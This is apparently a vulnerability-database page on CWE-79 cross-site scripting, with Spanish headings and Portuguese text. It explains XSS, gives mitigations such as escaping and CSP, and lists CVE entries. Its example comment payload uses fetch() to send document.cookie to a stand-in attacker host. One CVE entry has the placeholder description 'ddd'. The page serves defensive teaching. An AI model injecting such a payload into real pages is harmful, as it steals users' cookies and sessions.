Fallos del tipo CWE-79

29.158 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2023-1614MEDIUMWP Custom Author URL < 1.0.5 - Admin+ Stored XSSEPSS 0.5%CVE-2020-3532MEDIUMCisco Unified Communications Products Cross-Site Scripting VulnerabilityEPSS 0.5%CVE-2023-0125LOWControl iD Gerencia Web Web Interface cross site scriptingEPSS 0.5%CVE-2023-1525MEDIUMSite Reviews < 6.7.1 - Admin+ Stored XSSEPSS 0.5%CVE-2024-1450MEDIUMShariff Wrapper <= 4.6.10 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.5%CVE-2024-1585MEDIUMMetform Elementor Contact Form Builder <= 3.8.3 - Authenticated(Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.5%CVE-2025-40980MEDIUMdddEPSS 0.5%CVE-2024-0896MEDIUMBeaver Builder – WordPress Page Builder <= 2.7.4.2 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.5%CVE-2024-1393MEDIUMElementor Addon Elements <= 1.12.12 - Authenticated (Contributor+) Stored Cross-Site Scripting via Content Switcher WidgetEPSS 0.5%CVE-2022-38481MEDIUMAn issue was discovered in Mega HOPEX 15.2.0.6110 before V5CP2. The application is prone to reflected Cross-site Scripting (XSS) in several EPSS 0.5%CVE-2022-41679MEDIUMCross-site scripting in Forma LMS versionEPSS 0.5%CVE-2022-43707MEDIUMMyBB 1.8.31 has a Cross-site scripting (XSS) vulnerability in the visual MyCode editor (SCEditor) allows remote attackers to inject HTML viaEPSS 0.5%CVE-2023-43658HIGHImproper escaping of user input in discourse-calendarEPSS 0.5%CVE-2024-52835MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.5%CVE-2024-5165MEDIUMEclipse Ditto User Interface vulnerable to XSS due to Improper Neutralization of InputEPSS 0.5%CVE-2024-52852MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.5%CVE-2024-52818MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.5%CVE-2024-52843MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.5%CVE-2024-52816MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.5%CVE-2022-37926MEDIUMA vulnerability within the web-based management interface of EdgeConnect Enterprise could allow a remote attacker to conduct a stored cross-EPSS 0.5%